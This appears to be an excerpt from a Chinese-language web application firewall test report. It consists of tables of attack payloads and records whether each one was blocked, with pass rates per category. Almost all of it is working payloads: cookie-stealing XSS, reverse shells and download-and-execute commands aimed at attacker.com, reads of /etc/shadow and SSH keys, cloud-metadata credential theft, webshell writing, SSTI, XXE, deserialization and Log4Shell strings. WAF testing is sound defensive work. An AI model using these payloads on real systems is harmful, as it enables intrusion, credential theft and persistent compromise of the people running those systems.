| 🛡️ | POST | XSS - HTML5 新标签 onfocus 窃取 Cookie 回传 | <details open ontoggle=new Image().src='http://attacker.com/'+document.cookie> | 403 |
4.8 xss by context
- 项目数: 15 | 通过: 15 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | XSS HTML Context - script 注入加载 Remote JS | <script src="http://attacker.com/beef.js"></script> | 403 |
| 🛡️ | POST | XSS Attribute Context - onerror 事件触发 Remote JS | " onerror="fetch('http://attacker.com/'+document.cookie)" x=" | 403 |
| 🛡️ | POST | XSS JavaScript Context - 闭合脚本标签注入 | </script><script>fetch('http://attacker.com/'+document.cookie)</script> | 403 |
| 🛡️ | POST | XSS HREF Context - javascript: 伪协议 + Remote JS | <a href="javascript:fetch('http://attacker.com/'+document.cookie)">click</a> | 403 |
| 🛡️ | POST | XSS SVG Context - 内联 script | <svg xmlns="http://www.w3.org/2000/svg"><script>fetch('http://attacker.com/'+document.cookie)</script></svg> | 403 |
| 🛡️ | POST | XSS CSS Context - @import 外带数据 | </style><body onload=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS Markdown Render - markdown 链接 + onerror | [click](javascript:fetch('http://attacker.com/'+document.cookie)) | 403 |
| 🛡️ | POST | XSS Data URI Context - data:image/svg 注入 | data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('http://attacker.com/'+document.cookie)"/> | 403 |
| 🛡️ | POST | XSS React JSX - dangerouslySetInnerHTML 绕过 | <img src=x onerror=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS Vue.js - v-html 指令注入 | <div v-html="'<img src=x onerror=fetch(http://attacker.com/'+document.cookie)>'"></div> | 403 |
| 🛡️ | POST | XSS Angular (1.x) - $sanitize 绕过模板注入 | {{constructor.constructor('fetch(http://attacker.com/+document.cookie)')()}} | 403 |
| 🛡️ | POST | XSS Angular (2+) - DomSanitizer bypassSecurityTrustHtml | <img src=x onerror=fetch('http://attacker.com/'+document.cookie)> | 403 |
| 🛡️ | POST | XSS JSON Context - 闭合 JSON 字符串注入 | {"name":"</script><script>fetch('http://attacker.com/'+document.cookie)</script>"} | 403 |
| 🛡️ | POST | XSS PostMessage Context - 监听窃取跨域消息 | <script>window.addEventListener('message',function(e){new Image().src='http://attacker.com/'+btoa(e.data)})</script> | 403 |
| 🛡️ | POST | XSS DOM Clobbering - 表单元素劫持 | <form id="config"><input name="apiEndpoint" value="http://attacker.com/steal"></form><script>fetch(config.apiEndpoint.value+'?c='+document.cookie)</sc... | 403 |
4.9 command injection
- 项目数: 20 | 通过: 19 | 通过率: 95.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | 命令注入 - 远程下载并执行木马 | ; wget http://attacker.com/shell.sh -O /tmp/.x; bash /tmp/.x | 403 |
| 🛡️ | POST | 命令注入 - 反弹 Shell (bash TCP) | ; bash -i >& /dev/tcp/attacker.com/4444 0>&1 | 403 |
| 🛡️ | POST | 命令注入 - 读取系统密码文件 | | cat /etc/shadow | 403 |
| 🛡️ | POST | 命令注入 - 写入 SSH 公钥持久化 | ; echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keys | 403 |
| 🛡️ | POST | 命令注入 - 管道符绕过 + DNS 外带数据 | |curl attacker.com/whoami|| | 403 |
| 🛡️ | POST | 命令注入 - 反引号命令外带数据到攻击者服务器 | cat /etc/shadow|base64|curl attacker.com -d @- | 403 |
| 🛡️ | POST | 命令注入 - base64 编码绕过执行 | ; echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash | 403 |
| 🛡️ | POST | 命令注入 - $IFS 无空格绕过读取密码文件 | ;cat$IFS/etc/passwd | 403 |
| 🛡️ | POST | 命令注入 - PowerShell 编码执行下载木马 (Windows) | ; powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABw... | 403 |
| 🛡️ | POST | 命令注入 - 通配符绕过命令执行 | ;/??n?/?at /???/????wd | 403 |
| 🛡️ | POST | 命令注入 - 美元符号命令替换绕过过滤 | $(cat /etc/passwd) | 403 |
| 🛡️ | POST | 命令注入 - Python 反弹 Shell 绕过 bash 限制 | ; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.... | 403 |
| 🛡️ | POST | 命令注入 - Perl 反弹 Shell | ; perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDI... | 403 |
| 🛡️ | POST | 命令注入 - 十六进制编码绕过关键词过滤 | ; $(echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64") | 403 |
| 🛡️ | POST | 命令注入 - nc 反弹 Shell | ; nc attacker.com 4444 -e /bin/bash | 403 |
| 🛡️ | POST | 命令注入 - 八进制编码绕过关键词过滤 | ;eval $'\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144' | 403 |
| 🛡️ | POST | 命令注入 - DNS 外带数据泄露文件内容 | ; for l in $(cat /etc/passwd|base64 -w0|fold -w63);do dig $l.attacker.com;done | 403 |
| ⚠️ | POST | 命令注入 - nmap 扫描内网端口 | ; nmap -Pn -p 22,80,443,3306,6379 10.0.0.0/24 | 200 |
| 🛡️ | POST | 命令注入 - curl 读取云元数据 (AWS IMDSv1) | ; curl http://169.254.169.254/latest/meta-data/iam/security-credentials/admin -o /tmp/aws.txt; curl attacker.com -d @/tmp/aws.txt | 403 |
| 🛡️ | POST | 命令注入 - 写入 crontab 定时任务持久化 | ; echo '* * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1' | crontab - | 403 |
4.10 file inclusion
- 项目数: 11 | 通过: 11 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | LFI - php://input POST 原始数据执行代码 | php://input + Body: <?php system('id');?> | 403 |
| 🛡️ | GET | LFI - PHP 封装器读取源码 (base64 绕过) | php://filter/convert.base64-encode/resource=index.php | 403 |
| 🛡️ | GET | LFI - 读取 Linux 密码文件 | ../../../../../../../../etc/passwd | 403 |
| 🛡️ | GET | LFI - expect:// 封装器执行系统命令 | expect://cat /etc/passwd | 403 |
| 🛡️ | GET | LFI - data:// 封装器直接命令执行 | data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2V0Yy9wYXNzd2QnKTs/Pg== | 403 |
| 🛡️ | GET | LFI - phar:// 反序列化 RCE (先上传 phar 文件任意后缀, 再触发 metadata 反序列化) | phar://./uploads/evil.gif | 403 |
| 🛡️ | GET | LFI - PHP filter chain 生成 RCE payload (php_filter_chain_generator) | php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022C... | 403 |
| 🛡️ | GET | LFI - Pearcmd.php RCE (register_argc_argv=On) | /usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET[1])?>+/tmp/shell.php | 403 |
| 🛡️ | GET | LFI - zip:// 封装器解压包含 (需先上传含 webshell 的 zip 文件) | zip://./uploads/evil.zip%23shell.php | 403 |
| 🛡️ | GET | LFI - compress.zlib:// 封装器读取流量 | compress.zlib://file:///etc/passwd | 403 |
| 🛡️ | GET | LFI - Windows ADS (Alternate Data Stream) 读取隐藏数据 | c:\inetpub\wwwroot\index.php::$DATA | 403 |
4.11 directory traversal
- 项目数: 12 | 通过: 12 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | GET | 目录穿越 - 读取 Windows SAM 注册表文件 | ..\..\..\..\windows\system32\config\SAM | 403 |
| 🛡️ | GET | 目录穿越 - 读取 Nginx 站点配置文件 | ../../../etc/nginx/sites-enabled/default | 403 |
| 🛡️ | GET | 目录穿越 - 读取 root 用户 SSH 私钥 | ../../../../root/.ssh/id_rsa | 403 |
| 🛡️ | GET | 目录穿越 - 读取 Linux 密码文件 | ../../../../etc/passwd | 403 |
| 🛡️ | GET | 目录穿越 - 读取 Web 应用数据库配置文件 | ../../../var/www/html/config/database.php | 403 |
| 🛡️ | GET | 目录穿越 - Zip Slip 压缩包路径穿越 | ../../../../var/www/html/shell.php | 403 |
| 🛡️ | GET | 目录穿越 - URL 编码绕过过滤 | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd | 403 |
| 🛡️ | GET | 目录穿越 - 压缩备份文件下载 | ../../../var/backups/website.tar.gz | 403 |
| 🛡️ | GET | 目录穿越 - Nginx 配置别名穿越读取敏感文件 | ../aliased/../../../etc/shadow | 403 |
| 🛡️ | GET | 目录穿越 - Tomcat WAR 部署目录穿越 | ../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml | 403 |
| 🛡️ | GET | 目录穿越 - Windows 大小写绕过 | ..\..\..\..\Program Files\Apache\conf\httpd.conf | 403 |
| 🛡️ | GET | 目录穿越 - 路径规范化绕过 (....//) | ....//....//....//etc/passwd | 403 |
4.12 ssti
- 项目数: 18 | 通过: 18 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | SSTI - Jinja2 反弹 Shell (Python) | {{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read() }} | 403 |
| 🛡️ | POST | SSTI - Twig 读取 /etc/passwd 密码文件 (PHP) | {{ '/etc/passwd'|file_excerpt(1, -1) }} | 403 |
| 🛡️ | POST | SSTI - Freemarker 反弹 Shell (Java) | <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} | 403 |
| 🛡️ | POST | SSTI - Velocity 读取 shadow 文件 (Java) | #set($x=$rt.exec("cat+/etc/shadow")) | 403 |
| 🛡️ | POST | SSTI - ERB 读取数据库配置 YAML (Ruby) | <%= File.read('/var/www/html/config/database.yml') %> | 403 |
| 🛡️ | POST | SSTI - Smarty 远程文件包含 Getshell (PHP) | {capture}{include file='http://attacker.com/shell.txt'}{/capture} | 403 |
| 🛡️ | POST | SSTI - Handlebars 执行命令读取 SSH 私钥 | {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with stri... | 403 |
| 🛡️ | POST | SSTI - ASP.NET Razor 下载执行 PowerShell Payload | @System.Diagnostics.Process.Start("cmd.exe","/c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')") | 403 |
| 🛡️ | POST | SSTI - Mako 写入 SSH 公钥持久化 (Python) | <% import os; os.system("echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys") %> | 403 |
| 🛡️ | POST | SSTI - Pug/Jade 读取环境变量泄露数据库密码 | #{global.process.mainModule.require('child_process').execSync('env | grep -i pass')} | 403 |
| 🛡️ | POST | SSTI - Jinja2 绕过过滤执行命令 (lipsum 链) | {{ lipsum.__globals__['os'].popen('cat /etc/passwd').read() }} | 403 |
| 🛡️ | POST | SSTI - Jinja2 绕过过滤读取文件 (attr/getitem 链) | {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} | 403 |
| 🛡️ | POST | SSTI - Tornado SSTI 读取敏感文件 (Python) | {% import os %}{{ os.popen('cat /etc/shadow').read() }} | 403 |
| 🛡️ | POST | SSTI - Pebble 读取环境变量 (Java) | {{ getClass().forName('java.lang.Runtime').getRuntime().exec('env') }} | 403 |
| 🛡️ | POST | SSTI - Nunjucks 命令执行读取密码 (Node.js) | {{ range.constructor("return global.process.mainModule.require('child_process').execSync('cat /etc/passwd')")() }} | 403 |
| 🛡️ | POST | SSTI - Thymeleaf SpringEL 命令执行读取 AWS 凭证 (Java) | ${T(java.lang.Runtime).getRuntime().exec('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ -o /tmp/aws')} | 403 |
| 🛡️ | POST | SSTI - Jinja2 通过 config.items 遍历敏感配置 | {% for key, value in config.items() %}{% if 'SECRET' in key or 'PASS' in key %}{{ config.__class__.__init__.__globals__['os'].popen('curl http://attac... | 403 |
| 🛡️ | POST | SSTI - Mustache RCE 通过构造函数链 | {{#constructor}}{"name":"a","prototype":{"console":{"log":"require('child_process').execSync('cat /etc/passwd')"}}}{{/constructor}} | 403 |
4.13 xxe
- 项目数: 14 | 通过: 14 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | XXE - 读取系统密码文件 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - OOB 带外数据窃取 (参数实体 + 外部 DTD) | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;%exfil;]><foo>test</foo> | 403 |
| 🛡️ | POST | XXE - PHP expect 封装器执行系统命令 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - Billion Laughs 拒绝服务攻击 | <?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;... | 403 |
| 🛡️ | POST | XXE - 读取 Web 目录列表枚举文件 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - Base64 编码绕过 WAF 过滤 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - XInclude 绕过 DOCTYPE 限制 | <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo> | 403 |
| 🛡️ | POST | XXE - Error-based 通过错误消息泄露文件内容 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"><!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%xxe;'>"... | 403 |
| 🛡️ | POST | XXE - SSRF 端口扫描内网服务 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://10.0.0.1:8080">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - 读取 Office Open XML 文件 (docx/xlsx 解包) | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/secret.docx">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - SVG 文件上传型 XXE 读取密码 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><svg xmlns="http://www.w3.org/2000/svg">&xxe;</svg> | 403 |
| 🛡️ | POST | XXE - FTP 协议 SSRF 攻击内网 FTP 服务 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "ftp://admin:password@10.0.0.1/">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - jar:// 协议读取 Java 应用配置 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///var/www/app.war!/WEB-INF/web.xml">]><foo>&xxe;</foo> | 403 |
| 🛡️ | POST | XXE - 读取 .bash_history 窃取历史命令 | <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///root/.bash_history">]><foo>&xxe;</foo> | 403 |
4.14 ssi injection
- 项目数: 12 | 通过: 12 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | SSI - 命令执行读取密码文件 | <!--#exec cmd="cat /etc/passwd" --> | 403 |
| 🛡️ | POST | SSI - 命令执行反弹 Shell | <!--#exec cmd="bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" --> | 403 |
| 🛡️ | POST | SSI - 包含任意文件泄露敏感信息 | <!--#include virtual="/etc/shadow" --> | 403 |
| 🛡️ | POST | SSI - 文件大小判断(盲注信息泄露) | <!--#fsize file="/etc/shadow" --> | 403 |
| 🛡️ | POST | SSI - 写入 Webshell 到 Web 目录 | <!--#exec cmd="echo '<?php system($_GET[1]);?>' > /var/www/html/shell.php" --> | 403 |
| 🛡️ | POST | SSI - 下载执行远程木马 | <!--#exec cmd="wget http://attacker.com/shell.sh -O /tmp/s.sh; bash /tmp/s.sh" --> | 403 |
| 🛡️ | POST | SSI - 输出 DOCUMENT_ROOT 泄露 Web 路径 | <!--#echo var="DOCUMENT_ROOT" --> | 403 |
| 🛡️ | POST | SSI - 输出全部环境变量泄露敏感配置 | <!--#printenv --> | 403 |
| 🛡️ | POST | SSI - ESI 注入窃取 Cookie (Edge Side Includes) | <esi:include src="http://attacker.com/steal?cookie=$(HTTP_COOKIE)"/> | 403 |
| 🛡️ | POST | SSI - ESI 注入替换页面内容为钓鱼页面 | <esi:include src="http://attacker.com/phish.html"/> | 403 |
| 🛡️ | POST | SSI - 读取数据库配置文件 | <!--#exec cmd="cat /var/www/html/config/database.php" --> | 403 |
| 🛡️ | POST | SSI - 通过变量赋值泄露敏感信息 | <!--#set var="sensitive" value="$DOCUMENT_ROOT" --><!--#echo var="sensitive" --> | 403 |
4.15 xpath injection
- 项目数: 13 | 通过: 13 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | XPath - 认证绕过注入 OR 永真条件 | ' or '1'='1 | 403 |
| 🛡️ | POST | XPath - 闭合 XPath 注入永真条件绕过登录 | x' or 1=1 or 'x'='y | 403 |
| 🛡️ | POST | XPath - 认证绕过注入 空字符 OR 条件 | ' or ''=' | 403 |
| 🛡️ | POST | XPath - 盲注提取用户密码长度 | ' and string-length(//user[name/text()='admin']/password)=8 and '1'='1 | 403 |
| 🛡️ | POST | XPath - 盲注逐字符猜解用户密码 | ' and substring(//user[name/text()='admin']/password,1,1)='a' and '1'='1 | 403 |
| 🛡️ | POST | XPath - 盲注利用 codepoints-to-string 猜解密码 | ' and substring(//user[name/text()='admin']/password,1,1)=codepoints-to-string(97) and '1'='1 | 403 |
| 🛡️ | POST | XPath - 逐节点提取 XML 文档结构 | ' and count(/*)=1 and '1'='1 | 403 |
| 🛡️ | POST | XPath - 提取所有用户节点数据泄露全部账户信息 | ' or 1=1] | //user[1=1 | 403 |
| 🛡️ | POST | XPath - 利用 name() 函数获取当前节点名泄露文档结构 | x' or name()='username' or 'x'='y | 403 |
| 🛡️ | POST | XPath - 提取 XML 根节点属性个数 | ' and count(/@*)=1 and '1'='1 | 403 |
| 🛡️ | POST | XPath - 利用 contains 函数盲注密码子串逐字符泄露 | ' and contains(../password,'a') and '1'='1 | 403 |
| 🛡️ | POST | XPath - OOB 带外攻击 通过 document() 外带数据到攻击者服务器 | ' and doc('//attacker.com/x') and '1'='1 | 403 |
| 🛡️ | POST | XPath - 利用 starts-with 函数盲注密码前缀 | ' and starts-with(../password,'adm') and '1'='1 | 403 |
4.16 prototype pollution
- 项目数: 12 | 通过: 10 | 通过率: 83.3%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | 原型污染 - Object.prototype 注入管理员权限 | {"__proto__":{"isAdmin":true}} | 403 |
| ⚠️ | POST | 原型污染 - constructor.prototype 注入管理员标记 | {"constructor":{"prototype":{"isAdmin":true}}} | 200 |
| 🛡️ | POST | 原型污染 - proto 嵌套注入 RCE (NODE_OPTIONS) | {"__proto__":{"shell":"node","env":{"NODE_OPTIONS":"--require /tmp/evil.js"}}} | 403 |
| ⚠️ | POST | 原型污染 - 绕过 JSON.parse 安全过滤 (obj 前缀) | {"obj.__proto__.status":"admin"} | 200 |
| 🛡️ | POST | 原型污染 - Lodash merge 注入 AST RCE | {"constructor":{"prototype":{"type":"Program","body":[{"type":"ExpressionStatement","expression":{"type":"CallExpression","callee":{"type":"Identifier... | 403 |
| 🛡️ | POST | 原型污染 - jQuery $.extend 深度合并注入属性 | {"__proto__":{"shell":"/bin/bash","NODE_OPTIONS":"--eval require('child_process').execSync('curl attacker.com/$(cat /etc/passwd|base64)')"}} | 403 |
| 🛡️ | POST | 原型污染 - merge 函数注入 child_process 环境变量 RCE | {"__proto__":{"env":{"EVIL":"require('child_process').execSync('id')"}}} | 403 |
| 🛡️ | POST | 原型污染 - path 属性污染导致任意文件读取 | {"__proto__":{"path":"/etc/passwd"}} | 403 |
| 🛡️ | POST | 原型污染 - exports.main 覆盖执行恶意代码 | {"__proto__":{"main":"/tmp/evil.js"}} | 403 |
| 🛡️ | POST | 原型污染 - .env 属性注入窃取环境变量 | {"__proto__":{"env":{"AWS_ACCESS_KEY_ID":"stolen","DATABASE_URL":"postgres://stolen"}}} | 403 |
| 🛡️ | POST | 原型污染 - nested 深度路径注入 (mongoose 风格) | {"a[b][__proto__][isAdmin]":"true"} | 403 |
| 🛡️ | POST | 原型污染 - JSON5 格式绕过检测 | {"__proto__":{"polluted":true}} | 403 |
4.17 xslt injection
- 项目数: 12 | 通过: 12 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | XSLT - 读取系统密码文件 | <xsl:value-of select="unparsed-text('/etc/passwd')"/> | 403 |
| 🛡️ | POST | XSLT - PHP Wrapper 执行系统命令 | <xsl:value-of select="php:function('system','cat /etc/shadow')"/> | 403 |
| 🛡️ | POST | XSLT - Java Runtime 执行系统命令读取密码 | <xsl:value-of select="Runtime:getRuntime():exec('cat /etc/passwd')"/> | 403 |
| 🛡️ | POST | XSLT - .NET Process.Start 命令执行 | <xsl:value-of select="user:Process.Start('cmd.exe','/c whoami')"/> | 403 |
| 🛡️ | POST | XSLT - XXE 文件读取 /etc/passwd | <!DOCTYPE xsl:stylesheet [<!ENTITY passwd SYSTEM "file:///etc/passwd">]><xsl:value-of select="&passwd;"/> | 403 |
| 🛡️ | POST | XSLT - EXSLT document() SSRF 攻击内网 | <xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/> | 403 |
| 🛡️ | POST | XSLT - 文件写入 (EXSLT exsl:document) | <exsl:document href="/var/www/html/xslt.php" method="text"><?php system($_GET[1]);?></exsl:document> | 403 |
| 🛡️ | POST | XSLT - document() 端口扫描内网服务 | <xsl:value-of select="document('http://10.0.0.1:3306')"/> | 403 |
| 🛡️ | POST | XSLT - Java XSLT 读取 Java 系统属性 | <xsl:value-of select="system-property('java.version')"/> | 403 |
| 🛡️ | POST | XSLT - .NET 加载外部 XSLT 文件实现代码注入 | <xsl:include href="http://attacker.com/evil.xslt"/> | 403 |
| 🛡️ | POST | XSLT - 读取 /root/.bash_history | <xsl:value-of select="unparsed-text('/root/.bash_history')"/> | 403 |
| 🛡️ | POST | XSLT - XML 外部实体注入 + 命令执行 | <xsl:value-of select="system-property('xsl:vendor')"/><xsl:value-of select="php:function('system','id')"/> | 403 |
4.18 graphql injection
- 项目数: 12 | 通过: 1 | 通过率: 8.3%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| ⚠️ | POST | GraphQL - 内省查询 dump 数据库 Schema 泄露全部结构和字段 | {__schema{types{name,fields{name,type{name,kind}}}}} | 200 |
| ⚠️ | POST | GraphQL - 类型枚举查询 获取单个类型定义泄露敏感字段 | {__type(name:"User"){name,fields{name,type{name,kind,ofType{name,kind}}}}} | 200 |
| ⚠️ | POST | GraphQL - 内省查询 dump mutation 操作泄露数据修改入口 | {__schema{mutationType{name,fields{name,args{name,type{name,kind}}}}}} | 200 |
| ⚠️ | POST | GraphQL - 深度嵌套查询 DoS 攻击(资源耗尽拖垮服务) | {user{posts{comments{author{posts{comments{author{posts{comments{content}}}}}}}}}} | 200 |
| ⚠️ | POST | GraphQL - Batching 攻击 批量并发认证爆破绕过速率限制 | [{"query":"mutation{login(username:\"admin\",password:\"admin123\"){token}}"},{"query":"mutation{login(username:\"admin\",password:\"password\"){token... | 200 |
| ⚠️ | POST | GraphQL - 别名 Aliases 绕过速率限制并发暴力破解 | {m1:login(p:"1"){t} m2:login(p:"2"){t} m3:login(p:"3"){t} m4:login(p:"4"){t} m5:login(p:"5"){t}} | 200 |
| ⚠️ | POST | GraphQL - 内省查询 + dump 全部 Directive 定义泄露安全策略 | {__schema{directives{name,description,locations,args{name,description}}}} | 200 |
| ⚠️ | POST | GraphQL - 无内省但利用字段推荐机制枚举隐藏字段 | {__schema{types{name}}} {user(id:1){name,NOTEXIST}} | 200 |
| 🛡️ | POST | GraphQL - SQL 注入通过 GraphQL 参数传递恶意查询窃取数据库 | {user(id:"1' UNION SELECT username,password FROM users--"){name,email}} | 403 |
| ⚠️ | POST | GraphQL - Mutation 注入创建管理员账户提权 | mutation{addUser(name:"hacker",email:"hacker@evil.com",role:"admin"){id,name,role}} | 200 |
| ⚠️ | POST | GraphQL - NoSQL 注入通过 GraphQL 参数提取所有用户数据 | {user(id:"{\"$gt\":\"\"}"){name,email,password}} | 200 |
| ⚠️ | POST | GraphQL - 内省查询 dump subscription 操作泄露实时数据通道 | {__schema{subscriptionType{name,fields{name,type{name,kind,ofType{name,kind}}}}}} | 200 |
4.19 java php dotnet deserialization
- 项目数: 7 | 通过: 7 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | 反序列化 - PHP phar 反序列化 RCE (文件上传马 + phar:// LFI) | O:10:"PHPObject":1:{s:6:"inject";s:10:"phpinfo();";} | 403 |
| 🛡️ | POST | 反序列化 - PHP unserialize 对象注入 RCE | O:8:"Example2":1:{s:4:"hook";s:43:"system('curl attacker.com/$(whoami|base64)');";} | 403 |
| 🛡️ | POST | 反序列化 - Python pickle 反序列化反弹 Shell | cos\nsystem\n(S'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'\ntR. | 403 |
| 🛡️ | POST | 反序列化 - Ruby YAML 反序列化命令执行 | --- !ruby/object:Gem::Requirement\nrequirements:\n!ruby/object:Gem::DependencyList\nspecs:\n- !ruby/object:Gem::Source::Git\nname: evil\ngit: "curl attacke...` | 403 |
| 🛡️ | POST | 反序列化 - Node.js node-serialize RCE | {"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')}()"} | 403 |
| 🛡️ | POST | 反序列化 - Java Spring Boot RCE (Jackson gadgets) | ["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sq... | 403 |
| 🛡️ | POST | 反序列化 - PHP SoapClient SSRF 通过反序列化 | O:10:"SoapClient":2:{s:3:"uri";s:28:"http://169.254.169.254/latest/";s:8:"location";s:39:"http://169.254.169.254/latest/meta-data/";} | 403 |
4.20 java deserialization
- 项目数: 11 | 通过: 11 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | Java - Fastjson JNDI 注入 RCE | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true} | 403 |
| 🛡️ | POST | Java - Jackson JNDI 注入 RCE | ["org.springframework.context.support.ClassPathXmlApplicationContext","http://attacker.com/evil.xml"] | 403 |
| 🛡️ | POST | Java - log4j JNDI 注入 RCE (Log4Shell) | ${jndi:ldap://attacker.com:1389/Evil} | 403 |
| 🛡️ | POST | Java - Spring Cloud Function SPEL RCE | spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") | 403 |
| 🛡️ | POST | Fastjson WAF 绕过 - @type Unicode 编码绕过 | {"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true} | 403 |
| 🛡️ | POST | Java - XStream XML 反序列化 RCE | <sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder... | 403 |
| 🛡️ | POST | Fastjson WAF 绕过 - $ref 引用机制绕过 (1.2.47) | {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.... | 403 |
| 🛡️ | POST | Fastjson WAF 绕过 - expectClass 白名单绕过 autoType | {"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true} | 403 |
| 🛡️ | POST | Log4Shell WAF 绕过 - lower 函数绕过 jndi 关键字 | ${${lower:j}${lower:n}${lower:d}i:ldap://attacker.com:1389/Evil} | 403 |
